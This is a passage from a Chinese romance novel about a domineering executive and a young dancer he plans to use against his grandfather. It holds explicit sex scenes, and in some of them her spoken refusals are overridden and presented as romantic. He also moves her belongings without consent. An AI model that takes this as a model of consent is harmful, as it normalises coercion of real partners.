至于她敢当着面骂他是老好巨滑的小人……他这个人一向是很大方的,就暂时欠着,以后有的是机会可以好好的处罚她,因为到目前为止,都还没有人有那个胆量敢挑战他的权威,而这小妮子却一再的在老虎嘴边拔毛,那么她就要有承受后果的勇气。

现在还是先把她拐入门,在吃干抹净后再来想想要怎么好好的惩罚这个不知死活、逞口舌之快的女人;他的计画若没有她这颗完美的棋子,又如何能赢得了那个老家伙?

于是他压下对她语气的不悦,只是微挑眉看着,嘴角扬起一抹诡谲的笑意,对她道:“馨馨。”

“做什么?”他这样诡谲的笑意,让她觉得有点恐怖,所以语气中流露出一丝的防备。

“难道你不认为自己是一个长得很漂亮又很有人缘的女孩子吗?”

听到江承辑这么说,石馨兰突然擡起头来很有自信的对他道:“当然罗!”这还用得着他说吗?虽然她不是一个自恋的女人,不过她知道自己长得确实还算不错,这点自信她当然也是有的。“这一点不必你说,我自己也知道,何况,我的个性又是这么的可爱,当然人缘也就好罗!”

石馨兰充满自信的模样,散发着光彩,让江承辑在心底暗暗欣赏,她确实有自信的本钱,不过他还是轻轻的笑了起来,“你的个性可爱?”他为这个形容词感到有趣。

这女人实在是太有趣了,江承辑从来不知道,自己也有这么轻松谈笑的一面,而且物件还是个女人?他突然眯起锐利的眼睛打量着,或许这就是一再吸引他想要接近她的原因?

不!江承辑冰冷迅速的否定掉这个可能性,他绝不再犯相同的错误,绝不会再把自己弄成那副模样,冰冷的回忆是他提醒自己最好的方法,而这个女人,也只不过是他计画中的一颗棋子而已。

对,就是这样。他告诉自己,事情一定要这样,他会对她有这些情绪反应,会任由她恣意妄为,只是为了他的计画罢了!毕竟打倒那个老家伙,要比她来得重要多了。

“怎样?我的个性可爱,你有意见吗?”石馨兰不服气的朝他低吼。这讨人厌的家伙,每次都要意得她理性尽失,失去平时的冷静;她气愤的握紧拳头,仰高头瞪视着他。

“我觉得你很可爱,所以我很喜欢你,这就是我要借你场地的原因。”他冷静的回答她。

石馨兰随即发现,眼前的这个男人似乎变了,变得和第一次碰到他时一样。这个样子的他,竟让她有一种心慌不安的感觉,但伴随而来的竟是另一种让她更为不解的情绪──那就是心疼。

见鬼了!石馨兰忍不住在心底低咒,她何必对他有这种心疼的感觉?为什么看着他全身散发出那种疏离陌生的感觉,她就替他感到难过?或许是这种情绪让她对他愤怒的情绪细到最高点。

她冲口而出:“骗人!”

她的话才一说出口,随即发现江承辑阴沈着一张脸,迅速的朝她走去,害她不住的连连倒退,还将一双手伸在他们之间,似乎认为这样可以替她带来一些阻挡,“你……你想要做什么?”她忍不住结巴着,对于他以身体上的优势来威吓她十分的不屑,却又有点害怕。

她真的不懂这个男人,为什么上一刻可以和她谈笑自若,呃……虽然离这个形容词尚有段距离,不过她真的很爱看到这个男人的笑容,但现下马上又变成这副令她讨厌的死样子,真不知道江承辑是不是有双重人格,还是有严重的人格分裂症?

虽然理智告诉她该离这种人远远的,免得受到波及,但她的情感却……却对他有一份莫名的眷恋,让她每次在面对他时,总是用恰北北的一面来面对,以掩饰自己内心对他渐升的情愫。

第四章

当石馨兰惊讶的发现自己对江承辑的情感时,江承辑已来到她面前,并将她抵在墙壁上,让她进退不得,在她眼前放大的那张俊脸正沈着脸瞪视她。 “你知不知道当着一个男人的面前指责他是个骗子,是一件十分不智的行为?”江承辑咬牙切齿的对她说,男性的气息围绕着她,灼热的唿气喷在她的脸上,距离那么的近……近到她都可以听到自己的心脏正怦怦地跳动着,那么的快又那么急促。

他靠她好近,让她几乎要喘不过气来,为了不让江承辑看出他的接近对她有多大的影响力,石馨兰挺直身子迎向他,双眼大胆而不逃避的与他如磁铁般吸引人的眸子对上。

“但我说的是事实。”她大声的反驳他,“虽然我很可爱是事实,但我一点都看不出来你哪里喜欢我。”

想骗她?她又不是眼睛瞎了,从一开始江承辑就把她气得半死,并用瞧扁人的高傲态度对她,冷冰冰又无情的模样就算是喜欢她的表现?那刚才突然闪现难得的幽默感与难得的笑意,不就是爱上她的表现了吗?

真是骗死人不偿命!当她真的那么笨?别想。

石馨兰那副不信任的表情,让江承辑看了非常的不顺眼,却在听到她的谈话时,眼中突然闪过一抹狡滑,那幽深难测的尝眸燃起一小簇火焰,让她忍不住被他眼底的火苗给吸引。

浑然不觉他健壮的身子几乎要贴上她的身子,直到他突然伸手将她搂人自己的怀里,让她的曲线完全密合在他强壮的身上。

“你……你想做什么?快放开我。”她慌乱的想要推开他。

“我现在就向你证明我确实是喜欢你,而不是个骗子!”他的话才一说完,唇就含住她颤抖冰冷的唇瓣,吮咬她因惊喘而绽放的下唇。

在江承辑强烈的男子气息冲击下与猛烈的索吻攻击中,她不由得退缩,在这方面她是个生手,若是再任由他为所欲为,全面投降的人将会是她。

但他似乎早巳察觉她的动作,手臂已牢牢的交握在她的颈项,身子也十分巧妙的困住她的身子,不许她移动。

他的动作蛮横,灼热的唇用力地压着她搁咬着,在她无助喘息时侵人口中,探索里面的丝滑香甜。

她因情欲情而颤抖,无措地推着他强壮的身躯,包覆在丝质衬衫底下的是十足男性的健硕胸膛,令她浑身似乎在燃烧,热力令她虚脱无力。

早该知道,每当他这么热情的拥吻爱抚她时,她只能乖乖的屈服,没有一丝反抗的能力,不由自主的,她冰冷的手指不再推着他,改而爱抚般地滑过他紧绷的胸肌。

他倒抽了一口气,双手将她的头固定住,好让他的舌可以探得更深…… 因为他没想到,她主动的爱抚对他而言是一种致命的诱惑,让他的情欲迅速的上升,亢奋的情潮迅速的朝他席卷而来,凝聚在下腹,让他全然无法制止身体的反应……

感觉他苦尖缠卷、深刺的动作,激起她体内汹涌的热潮,让她情不自禁的感到震颤。

他炽热饥渴的唇沿着她的颈项向下滑,摩掌着柔嫩的肌肤,在她因欲情而急促跳动的脉搏处轻舔、流连。

最后,他的唇回到她逸出细碎娇吟的芳唇,亲密的、渴望的跟她纠缠不清,直到她全身无力像软泥般的靠着他,直到她因亢奋而颤抖,因情欲高张而喘息不已。

当他终于依依不舍地从她柔软又甜美的红唇离开时,两人都是气喘吁吁的。 他不是个喜好让女人在与他有过亲密接触后就偎在怀里的男人,但是对她总是有太多的例外,一根手指在她红肿的唇瓣上轻轻滑动着,喃喃地对她道:“这样,你该相信我是喜欢你的吧?”

江承辑是想要用柔情攻势来收服她吗?石馨兰的眼眸突然不悦的眯了起来,一只手用力的拉住他胸前的衣领,咬牙切齿地道:“你该不会是要告诉我,只要是女人,你都这么亲她们吧?”

江承辑挑起眉看她,这女人真有激怒他的好本事,他冷冷的笑着,脸颊隐隐抽动,“不!通常只要是女人,我都直接利用她们的身体发泄欲望,却从来不亲她们。”

她为他话里的无情瞪大了眼睛并倒抽一口气,当她看到他眼底的怒气时,完全说不出一句话来,只能讪讪的一笑。“呃……”

她突然觉得自己不该这么丢脸的在他面前败下阵来,于是她鼓起勇气对他说:“好吧!那……你到底亲过几个女人?”天啊!她发现自己的脸颊在迅速的染红,因为她可以轻易的看见江承辑眼底的兴味,似乎对于她的在意感到有趣。 在他还没回答之前,她急忙撇清的对他喊:“你那是什么眼神?我告诉你,我才不在乎你喜欢过几个女人……”石馨兰因为心虚而有些结巴,“我只是好奇。”

若是以前有女人敢这样质问他,江承辑早就毫不留情的走人了,但是她的在意,不知为何却取悦了他,让他不由自主的在贴近她的唇之前,对她低语道:“你,就只有你!”

在她瞪大眼睛之际,他吻住了她的唇,汲取着属于她的甜美……

石馨兰在脚伤完全复元之后,就开始每天到江承辑那里报到,当她练习完后,还有一套完善的卫浴设备可以供她洗澡,而他总是在阳台等她,两人一起喝茶谈天。

虽然在相处之中少不了石馨兰火爆的叫嚣与他总是忍不住被勾引起来的怒火,但他们对彼此的情意已在不知不觉之中累积。

这天石馨兰练完舞冲完澡后,两人倚着栏杆眺望眼前的美景,难得气氛祥和的闲聊着。

石馨兰深吸了一口气。“唔,这里的空气真新鲜。”

自从来江承辑这里运动后,完善的运动设施、宽敞又平滑的原木地板,使原本只是单纯的跑步运动,诱惑着她开始练起舞来,说来她还真得感谢这个男人。 江承辑面无表情的望着她那副神采奕奕的模样,眼里却不经意的泄露出连自己都没察觉的一丝宠溺。

自从上次他说了喜欢她的话之后,这女人虽然还是常会说话惹得他不快,可是他却能敏感的察觉她心理微妙的变化,那讯息强烈的显示出石馨兰是喜欢他的,他相信这对计画很有帮助。

每当江承辑这么想时,就觉得心情好像轻松不少,却浑然不觉自己的心正因她而有了陷落的危险,还自以为是的认定,他的情绪变化全都是计画顺利进行的关系。

他们能这么没有火爆气氛自在的相处,也得归功于他上次对她的表白,看来每个女人都喜欢听甜言蜜语,这招真的非常好用,就连石馨兰都不能免俗,毕竟她也只不过是个女人罢了!

就在他这么想时,石馨兰突然偏过头来对他露出一个甜笑,让他的唿吸一屏。虽然她很少这么对他笑,可是他却不得不承认,她笑起来真的很美,让他几乎要把持不住地上前以吻捕捉住她脸上的笑容。

“对了,我要谢谢你。”自从上次江承辑向她告白后,她在心境上有了很大的改变,虽然还是不时会有些争执的场面出现,不过她就是觉得有些感觉变得不一样。

而且以她的个性而言,她不是个不知感激的女人,所以,当然要对江承辑大方的借出场地表示谢意。

毕竟经过这些日子的观察,人家根本就没有对她有任何的不良企图,或许真如他所声称的,只是纯粹喜欢她而想要帮忙她而已,所以,石馨兰对自己之前那样怀疑他感到十分的不好意思,只好用最真诚的心来向他道谢。

“谢我?”听到她这么说,他挑起盾,眼神也变得幽深起来,“你是真心的?”不久前才怀疑他的居心,现下却心甘情愿的向他表达谢意,江承辑知道那是她经过一段时间的观察后,对他产生的信任所致。

其实,经过这些日子的相处,他对她的个性已十分了解,石馨兰并不是一个任性、骄纵、爱要脾气的女人,只是直爽活泼又充满朝气的个性,让她总是隐忍不住任何的情绪,心底想什么就说什么,就算得罪人犹不自知。

但是,是非对错这小妮子却能分得清。对的,她据理力争;错的,她软硬不吃,也非要讨个公道。但是错的若是她,她也能马上认错并加以补救道歉,若她是对的,也绝不得理不饶人。

现在他故意这样问她,根本就和这些原因都没有关系,纯粹只是想要逗逗她,看看她眼里因怒气而晶亮的神采,那不知为何总是能取悦他。

听到他质疑的语气,如江承辑所猜想般,她果真气唿唿的握着拳头,在他面前边挥舞边叫着:“喂!你这样说是什么意思?怀疑我?我当然是真心诚意向你道谢的。”

看她如此激动的样子,他的嘴角扬起一抹不怀好意的笑痕,故意问她:“喔?是吗?那……你要怎样证明你是真心诚意的?”

“证明?”石馨兰被他丢出的这句话愣住,想了一会儿才有些受不了的翻了翻白眼,用着大惊小怪的语气对他道:“拜托,真心诚意要怎么去证明?难不成要我将心挖出来给你看,看它是不是血淋淋的鲜血色才算?”说完后,她马上露出一副嗯心的表情,作势要吐的模样,“唔,那多恐怖!”

石馨兰皱着那张美丽的脸蛋,丰富的表情随着她的话语和手上的动作愈来愈多,看起来十分可爱又逗趣,让江承辑先是顿了一下,随即不顾一切的大声笑了起来。

那爽朗的男性嗓音、开心大笑时的脸上表情,在他脸上竟显得如此迷人、好看,害她不小心对他露出那副垂涎的可耻表情,但她就是情不自禁!谁教江承辑笑起来的样子要这么的有魅力,害她的心跳得好快哟。

被他的笑声轻易掳获的她只能愣愣的欣赏着他的笑容,浑然不觉江承辑早已停止笑声欺近她,直到将她整个人揽人他的怀里才回过神来,耳里却听见他低喃的话语。

“当然不必,只要这样就是最好的证明。”他俯头将唇印在她柔软的唇上,喟叹一声,欺上了她柔软的红唇。

又来了!那种像被电流击中的感觉又回来了,他湿润滑熘的舌,探进她的嘴里轻轻诱撩着,他的吻好甜、好细腻,让她原本想要对他发出的抗议全都变成了臣服的轻叹,不由自主的合上双眸,让自己沈醉在他所给予的温柔之中。 渐渐地,那撩人的亲呢轻触移向她的脸颊,往她耳朵的方向前进,他的嘴里还诉说着对她的渴望:“从那天吻过你之后,我就一直想要再这样吻着你,这滋味是这么的美好、这么的甜。”

江承辑轻柔具了拨力的炽热唇瓣在她的耳朵上游移着,并吮咬她的耳垂,伴随着他粗重的唿吸,让石馨兰的脑子几乎变成一片空白,只能凭着身体的本能回应他。

“我想要你!”

他占有的宣示着,让她忍不住瞪大眼睛看他,却一眼望进他炽热的眼眸里,燃着熊熊的火焰,令她惊异的想要向后挪,更意识到这次他似乎对她有着势在必得的决心。

但他钢铁般坚硬的手指却猛然扣住她的手臂,将她举高至胸前,一把搂人自己的怀里。

她因为他的动作而急忙伸出手抵住他的胸膛,却敏感的察觉她柔嫩手掌心下的男性肌肉是那么结实,并极富生命力的上下起伏着。

她听到他粗喘一声,连忙擡起头来望着他,讶异的发现他竟因她一个小小的触摸而激动。

她眨着灵动的大眼睛,几近着魔般地看着他因吞咽而滑动的喉结,看起来竟是那么的性感,再看向他那冒出青须的刚毅下颚,竟是那么令她心动,视线最后停驻在紧抿的性感双唇上,光想着它刚才热情的吻着她,就令她的心跳加速,脸颊泛红。

对于江承辑的宣称,石馨兰根本就无力反抗也不想去制止,因为她发现自己的身子竟然颤然的期待着他进一步的行动,这让她的手心不由自主的轻抚着他的胸膛。

她这无心的挑逗,却让江承辑的唿吸再次急促起来,并且无法克制的一把将她抱向起居室,并将她置于丝滑的软垫上,以自己沉重的躯体半压着她;湿润的唇瓣在她耳鬓舔舐,新生的胡渣摩掌着她细致的肌肤,带来阵阵的刺痒与难耐,热潮瞬间流窜她全身。

他灵活的手指以逗弄之姿覆上她因欲情而肿胀的浑圆,熟练的揉搓着她嫣红的顶端,直到它因刺激而紧绷挺立;不识情欲的她依随着本能盲目的擡高胸脯,紧偎着那双具有魔力的手指。

这充满诱惑力的无声请求,令他再也抑制不了沸腾的欲望,他的唇缓缓下移,逗弄着她领口与雪白肌肤的交接处,轻咬那敏感脆弱的锁骨丝滑处。

石馨兰因这刺激感到体内泛起一股疼痛而倒抽一口气,企图想要退开,急忙离开软垫,没想到他却顺势轻轻一推,让她仰躺在长沙发上,贪婪的唇持续在她身上制造出惊人的情欲浪潮。

“嗯……”她张嘴欲吐出抗议的言语,若是再继续下去,自己必定无法抵挡得住他热情的攻势,但是才一开口,却全都化作一声声的娇吟喘息。

这声音悦耳撩人,让江承辑冲动地将大掌滑至她的大腿后,使力的往自己的方向一送,昂扬的欲望便紧紧的抵在她的腿窝间。

“不……”如此火辣的接触,让她整个脸都烧红起来,她的身于一僵,尴尬又不自在的扭身想要挣脱他。

“别动!”他仿佛极力的在压抑什么似的,唿吸的声音很粗重。

“别……这样我无法想……”她很努力的想要挣脱这种情况,不想要他们之间发展得如此之快,但是却徒劳无功。

“我就是要让你什么都不要想……”江承辑突然邪恶的一笑,大掌紧圈住她的纤腰,在她的身上制造出更多的快感,“只要想想我将要带给你的快乐就好。” 他挪出一只手顺着她粉嫩的脸颊,来到她小巧挺立的浑圆,隔着薄薄的衣服,肆无忌惮的揉捏着,看着她那迷蒙的双眸,混合着天真和性感的模样,让他忍不住心生怜惜。

于是他头一低,以着连自己都惊讶的温柔亲吻给予她无限的疼惜,在她有所回应之后,才低吼一声,转为狂肆的亲吻,火热的舌钻进她的贝齿,逗弄起她的小舌。他的手权住她一只浑圆,隔着衣物狂烈揉搓,大拇指的指腹频频抚弄她的蓓蕾。

石馨兰觉得她的理智早已随着他热烈的亲吻与爱抚飞扬飘走,被他逗弄得悸动不已,娇喘连连,那狂乱的气息从红肿的小嘴里逸出,全身软绵绵的瘫在他的怀里,掌心无意识的抚着他健硕的身体……

她在他身体各处无心的动作,生涩笨拙却让他的欲火在最短的时间里高张,再也不满衣服的阻隔,他的手一挑,解开她身上所有的束缚,贪婪地欣赏着她如玉般的胴体,手指也揉弄着那早已挺立的蓓蕾。

“不要!”胸前的凉意将她涣散的神智拉了回来,本能的抗拒着。

但早已被欲火给挑起全身火热反应的江承辑,根本就无法在现在停下来,于是他不顾她软弱无力的抗议,将自己壮硕的身躯毫不客气的压向她柔软娇弱的身躯,然后双手分别握住她丰嫩的乳房,头一低俯,一口将那粉嫩挺立的蓓蕾含人口中狂恣的旋弄、舔吸。

“嗯……啊……”石馨兰感到自己的酥胸胀痛难耐,却夹带着沁心的愉悦快感,唇边不由自主的发出呻吟,瓦解了整个自制力,令她陷入情欲之中。 他的动作愈来愈狂野,贪婪的吸吮着她柔嫩的乳尖,甚至轻嚼、拉扯着,让她感觉到有些痛楚,却又感到一股兴奋涌起。

感官上的敏锐快意一波波的涌上,让她终于止不住的呐喊出声,双手紧紧的扯住他的身子,无法克制自己情欲的高张,“啊……”头部还不断轻摆着。 她的娇吟与不自觉扭动的性感姿态传入他的耳中、看进他的眼里,是那样的销魂诱人,让他禁不住更加用力的揉捏她的乳房,并与他的热唇合作无间的舔弄、揉捏,来回游移在双峰之间,直到她的身体本能的拱起并迎向他。

她娇弱的吟哦声,带给他前所未有的情潮,她主动热情的迎合,更是令他毫不考虑的突破她最后的屏障,指尖由底裤边缘钻入,占领女性柔软之处,并开始探索她最神秘、脆弱的部位。

江承辑如此放肆的抚弄,让石馨兰无助地微微战栗着,而他则擡起头来欣赏着眼前佳人所展现出来的性感,眸光一闪,他露出了一抹邪佞的笑。

“别怕!我不会伤害你的。”话才一说完,他那揉捻她核心的修长手指倏地采入,深入再深入直到她准备好接纳他之际,他才擡起她的粉臀,冲破一切的阻碍,直达甜美的花心………

江承辑体贴细微的注意并关照她脸上每个表情,直到看到她的反应和她已放下矜持的行为后,知道她已经脱离疼痛,因此他不再有任何的顾忌,放肆地在她初经人事的娇躯上任意的索求着,将两人一起带上激情的感官世界中,直到彼此的身心都获得了最大的满足。

江承辑翻到石馨兰的身侧,满足的看着她那全身泛着粉红的肌肤,大掌流连地在她的全身上下爱抚着,引起她敏感的轻颤。他眼底闪过一抹爱怜,没想到自己竟然对她产生了异样的情愫。

他该承认自己的计画出了差错吗?错在没把自己对她的感觉给计算进去? 看到她的身子动了一下,睁开眼睛看他,他突然开口问她:“你还好吗?我有没有弄痛你?”却满意的看着她身上被他烙下的红痕,这是属于他的记号,并宣示着她是属于他的,这让他感到骄傲自得。

温柔但露骨的语话,让石馨兰羞怯不已,对他摇摇头像是回答了他的话,却让他倾身向她,朝她调侃:“怎么?猫咬了你的舌头,让你说不出话来啦?”他的手指在她的唇上摩挲,知道她在害羞什么,但却爱极了逗弄她的感觉。 果然,她不客气的粉拳用力的打在他的胸口上,“你去死啦!”明知道他们才经历过那么亲昵的接触,要她能说些什么?赤裸相见的两人,在此时多说什么都是很奇怪的吧?尤其她才刚从那么美妙的感觉中回过神来,他竟然还要她说什么?

想到这里,石馨兰脸上突然出现一抹古怪的神情,让原本想要轻笑出声的江承辑微蹙起眉。

“怎么了?你又想到什么?”

“你……你要我说话,该不会是要我说那种话吧?”她的语气显得十分的怪异,眼神暖昧极了。

江承辑有种很不好的预感,这小妮子该不会又想到什么语不惊人死不休的话了吧?

“你说说看。”虽然有些怀疑她说出来的话会使他后悔,但他还是很想听,那种想要知道她所有想法、看法的思绪,占满了他整个脑海。

“嘿嘿……”她看着他,笑得有点贼,“原来你也是这种喜欢被人称赞的男人!”她轻浮的拍了他两下,对他道:“好啦,好啦,我承认,你在床上的表现好得不得了,十分的赞,这样你满意了吧?”

在看到她那副暧昧的表情、大胆的话语时,他先是一愣,再看到她其实并没有如她所表现的那么开放,悄悄的在她的脸颊、耳后绽放迷人的红霞时,他不禁大笑出声,这小妮子真是好可爱!

看到江承辑笑,石馨兰的羞怯升到最高点,又羞又气的拍打他,“笑什么,要不然你是想要听什么,你不会自己直接说啊?还要人家这样猜来猜去的,烦不烦啊你?”

他的笑声倏然停止,但是笑意还在,他低下头在她的耳边对她道:“既然你这么满意我的表现,那我当然不能辜负你的盛意,得好好的‘感谢’你一番才行,那就容我再努力取悦你来报答你好了。”

他话才说完,马上就将她的身体翻转,让她趴躺着,大掌仔细的探索她背部每一寸如丝滑般的肌肤,接着他的唇覆上她细致的背嵴,一路啄吻而下…… 他的唇才触上她的肌肤,她便酥麻得全身抖颤、娇喘连连,不由自主的喊着他的名字。她的手一松一放的揪着床单,头颅更是难耐的在枕头上磨蹭,口中嘤嘤低吟……

他的阳刚早已在吻上她的美背时再次昂扬,现在再加上她几乎说不出话来的性感呻吟,使得他的欲望益发高张,他迳自扳开她的双腿,再次让自己埋入她温柔潮湿的花心,直到获得满足的叹息声同时由两人的口中传出来。

接着他开始加强律动,狂野的占有她,舞出属于两人的情欲世界……

江承辑在别墅书房里批着公文,而他的好友,也就是森野集团的总经理沈天擎则坐在一旁。

“我想你要有心理准备,你爷爷打算下个月底来台湾。”沈天擎提醒他。 江承辑依旧文风不动的继续批合公文,淡淡地回一句:“那又怎样?” “是不怎么样,不过你别忘了,这次你家老头可不是一个人来,他还带了松版花珍,准备向外界宣布她是你的未婚妻。”说完这句话,沈天擎小心翼翼的看着江承辑的神情,想看他有怎样的反应。

熟料,他连一点肝火都没动,只是冷哼了一声,继续批合公文。

“承辑,那老头的决心很强烈,你要是不和他说清楚,到时候新闻发出去就麻烦了。”

他停下批阅公文的手,“你想,到时候难看的人会是谁?”他嘴角扬起一丝嘲讽的笑,眼神也十分冷酷。

听他这么说,沈天擎连忙点头,心中暗忖:也对,难看的会是那个老头,森野老总裁一向十分爱面子,而江承辑对于外面把他写得如何,根本一点都不在意。 当然,报章杂志对于江承辑根本一点都不了解,所以没有人敢乱写,否则以森野集团的名声地位,要是采取法律途径,没有哪家平面媒体能够经得起他们的名誉索赔,因为江承辑这三个字的名声可是天价,所以要不是有真凭实据,或是经过森野集团方面主动所发布出来的新闻稿,没有人敢随便乱登。

沈天擎站到桌前,“我看你肯定心中有应付之道,我也不必替你担心,你慢慢看公文,我也该走了。”他转身正要离开,突然门被大力推开,一阵旋风扫过,他根本还来不及看清来者的容貌,耳边就听到一阵清脆的女性嗓音带着质问的语气对江承辑说话。

“江承辑,你凭什么把我的东西全都搬到这里?你这是什么意思?”真是过份!她不过才从舞蹈社回到家里,房里的东西就全都不翼而飞,而母亲还告诉她:江承辑说这全都是她的意思,她要搬过去和他一起住,希望他们能尊重年轻人的决定。

闻言,石馨兰简直是气得火冒三丈,这可恶的家伙,虽然她很喜欢他们在一起时美妙的感觉,也不是不想和他在一起,可是他怎么能不尊重她,在没有经过她的同意之前就擅作主张?所以她才会怒气冲冲的跑来这里质问。

沈天擎看着江承辑原本平静冷漠的表情因为她的到来而有些微的波动,眼神闪过一丝亮光,这些变化虽然是细微的,但和他认识这么久,他当然察觉得出来,他沉默却饶富兴味的看着两人。

石馨兰正在气头上,什么都不会去注意,一进门就将所有的注意力放在江承辑身上,根本没有注意到站立在一旁的沈天擎正兴味十足的盯着他们。

江承辑很快地将自己波动的情绪隐藏起来,停下批阅公文的手,幽深的黑眸盯着她看,冷静的说:“你不想搬来和我一起住?”

他那冷静的样子,刚好与激动的她形成强烈的对比,听到他这么说,她握紧拳头,在他眼前挥呀挥的,“你这个可恶的混蛋!”她气极的朝他大吼:“这和我想不想没有关系,而是受不受人尊重的问题,你到底懂不懂我在气什么?” 谁知,他却优闲地将手臂环抱在胸前,欣赏着她生气盎然的模样,觉得有趣极了。“好吧!馨馨,我希望你能搬过来和我一起住,不知你意下如何?” 江承辑认为,既然他们都已经有了亲密的关系,那么就没道理还要分隔两地,何况他很喜欢抱着她睡觉的感觉,所以他才会一决定后就马上着手行动,连她都没通知一声。

“我不要!”

石馨兰断然的拒绝,让江承辑原本闪现趣意的眼倏然变得阴沈,并对她说:“你说什么?”然后在听到一声闷笑时,扫了沈天擎一眼,不去看他那家伙脸上碍眼又明显的看戏表情。

“你还有事吗?”这句话是要沈天擎识相的回家去,别打扰他们。

沈天擎看他将注意力放到自己身上,连忙清了清喉咙,“呃,你还没跟我介绍这位小姐是谁?”开玩笑,他怎么可以错过认识这位让承辑的态度有如此大改变的女人?何况,他们之间的互动情况真的好好笑,尤其是那位女人…… 哈哈哈,真是有趣极了。

对于女人,承辑当然不可能没有,可是都只是用来纾解生理欲望罢了!对哪个女人也从没有认真过。现下这个女人和时下一般的女人不同,并没有打扮得花枝招展,言谈举止间有的只是纯真自然,而且最好玩的是,她竟然敢对一颗千年寒石大吼大叫,而承辑没把她丢出去也就算了,现在竟然要她搬来同住。 然而这位小妮子还十分不给面子的一口回绝,连一点点迟疑都没有,更是令他大开眼界,觉得他们之间的情况真是好玩极了,他若不想办法留下来看,那还真是可惜了呢!

第五章

沈天擎不理会江承辑的问话,直接冲着石馨兰道:“你好,我叫沈天擎,是承辑的好伙件兼好朋友,能不能知道小姐芳名?”

“她叫石馨兰。”冷冷回话的是江承辑。

这种语气多半是要他识相的离开,不过,沈天擎才不理他,在江承辑身边那么多年,好不容易出现这么精采的情况,他怎能错过?

谁知,石馨兰正在气头上,当然连这点面子都不给,连忙对他吼道:“要你鸡婆,我又不是没嘴可以自己说话!”然后对沈天擎露出一个笑容。

“你好,我叫石馨兰。”她伸出手想要和他一握,“都是那家伙害的,其实我原本不是这么没礼貌的,我……”她的话被江承辑拉过身子后打断,忍不住不满的狠瞪他一眼。“你做什么?”

江承辑不说一句话,脸色阴沈得吓人,眼神锐利得如一把刀似的,直直射向沈天擎。

沈天擎突然讪讪的一笑,他知道自己若是不再帮江承辑的忙,就会死得很难看,于是他开口道:“石小姐,你为什么不搬来和承辑一起住?要知道,他这个提议有多少女人想要还得不到呢!”

“那就让给她们!”她嘴里逞强的说,其实心里早就极为不舒服的想着江承辑和别的女人卿卿我我的画面,她的脸色顿时变得极为难看。

倏然,放在她纤腰上的大手一紧,让她吃痛的轻叫一声,用力的瞪向江承辑,正想要开口抗议时,沈天擎的话却又不识趣的传来。

“可是据我所知,承辑对别的女人完全没有兴趣,只有你才有这种殊荣,所以我想……”

他正想要鼓动三寸不烂之舌好好的游说帮助好友之时,却被石馨兰那变得十分礼貌的叫喊声给顿住了话语。

沈天擎笑着对她说:“请问石小姐有什么指教吗?”

“如果搬来和他一起住是一种殊荣,那么我很乐意将这个殊荣转让给你,就当是我们第一次见面的见面礼好了,这样你说可好,沈先生?”

“啊?”她的话,让沈天擎先是一愣,接着连忙笑着说:“呃,这个就不必了,我对男人没兴趣。”

“好了好了,你们已经互相认识,现在你可以走了。”江承辑的语气十分不耐,怒瞪了他一眼,这家伙真是成事不足败事有余,他以为石馨兰是那么容易搞定的吗?不过她对他而言却是势在必得,所以,必须先把这家伙给踢走再说。 他的表情却令沈天擎露出更大的笑容来,看来,他的好友真的对石馨兰不一样!以后如果来这里肯定不会无聊,每天都有戏可看也不错,免得每次来这里都只看到承辑冷漠毫无情绪的脸,那多无趣!

“承辑,你这样很不够意思耶!我都还没好好的跟石小姐认识,怎么就要赶我走了?”他抗议着。

江承辑只是冷冷瞪他一‘眼,碎了他一句:“无聊。”他怎么会不清楚好友的那点心思,但他一向重隐私,:尤其是感情的事更不可能让旁人涉足,所以那一眼,包含着要他识相走人的意味。

“OK!我懂。”沈天擎举起手,十分明白两人的感情世界还是得由当事人来沟通才能搞定,他不会这么不识相的打扰,还是等到江承辑搞定之后,再来看好戏吧!“那我就不打扰两位了,拜拜。”摆了一下手,不等两人回应,他很快的走人。

沈天擎走后,江承辑这才转身面对她。

他脸上那吓人的表情让石馨兰有些胆怯,但她提醒自己,这件事错的人可是他,有什么好怕的?于是才又擡高下巴看他,“怎么样?你到底要不要把我的东西还我?”

“我要你搬过来和我一起住。”

“你……”石馨兰不禁为之气结。这男人到底是怎么回事,难道听不懂她的拒绝吗?而且他那副冷静自若的模样,不知为何就是刺痛了她的眼睛,看了十分的不顺眼,于是她大步的走到他的面前。

石馨兰仰高头看着他,并一字一句的说:“请你注意看着我的嘴型,你会看到它在告诉你,我──不──要。这样你懂我的拒绝吗?”

她这副样子看起来十分的可爱,引起他体内一阵熟悉的骚动,他不去理会她的拒绝,一把将她拥入自己的怀里,低下头搂住她柔嫩的唇瓣,她的唇瓣有如初绽的花蕊,令他不由自主的迷恋在那甜美的滋味中,全身的血液都因她而滚烫起来。

他的吻不断的加深,让石馨兰有一种要被他的吻给淹没的感觉,一双小手也开始用力的捶打他的胸膛,想要挣开他的怀抱与热烈的吻,“不要!你这小人,别想要再给我用这招……”

明明知道她的理智会随着他的热情而消失不见,他却老爱用这招,他们现在可是在谈事情。“我们是在谈事情,不是……嗯……不可以……”

江承辑根本就不想理会她的抗议,他的头埋在她的颈项之间,不断的落下一个个炽热的吻,让她为之心神荡漾,浑身虚软的靠在他的怀里以支撑自己的重量! “没错,我们现在就是在谈事情。”他加重语气,眼中闪过一抹狡狯。 他在说完最后一个字时,大手已隔着衣物揉搓着她的胸部。火热的舌头不断地在她的唇上舔弄,然后再细碎的啄吻她粉嫩的脸颊;看到她倔强的紧闭着唇拒绝他的侵入,他扬起一抹嘲讽的笑意,然后将目标移向她精致的耳垂。

他的舌尖亲昵的探索着她柔嫩的耳朵,并用牙齿轻啮着,使她情不自禁的发出一声呻吟,眼睛却恶狠狠的瞪向他,有着不甘愿的神采,忍着体内因他刻意挑起的欲火,咬着牙对他道:“别以为你这样子,我就会搬来和你一起住……啊!小人。”

石馨兰的宣誓反而让她忍不住惊声尖叫起来,因为江承辑动作十分迅速的剥光了她的衣服,在她发狠警告他的同时。

“你真是太不乖了!从来没有人敢违背我的意思。”他的眼神倏然变冷,警告的盯着她看,在她惊唿微一红唇之际,乘机侵入她的口内,肆无忌惮的侵占她口中每一个角落。

“不要……”他以为他是谁?人家连要、不要的权利都没有?这个霸道的原始人,若是屈服于他,那她石馨兰就跟他姓,哼!

石馨兰骄傲不驯的直盯着他看,让江承辑感到有趣。很好,这小妮子的精力真旺盛,不拿来用一用,似乎有点浪费了,他坏心眼的想着。

他的吻挑起了她体内的激情,她气自己每次在他的挑逗下就会不由自主的回应,没有志气的屈服于他,她恨死自己这么没有用的模样,为什么就是无法抵抗他的攻势?

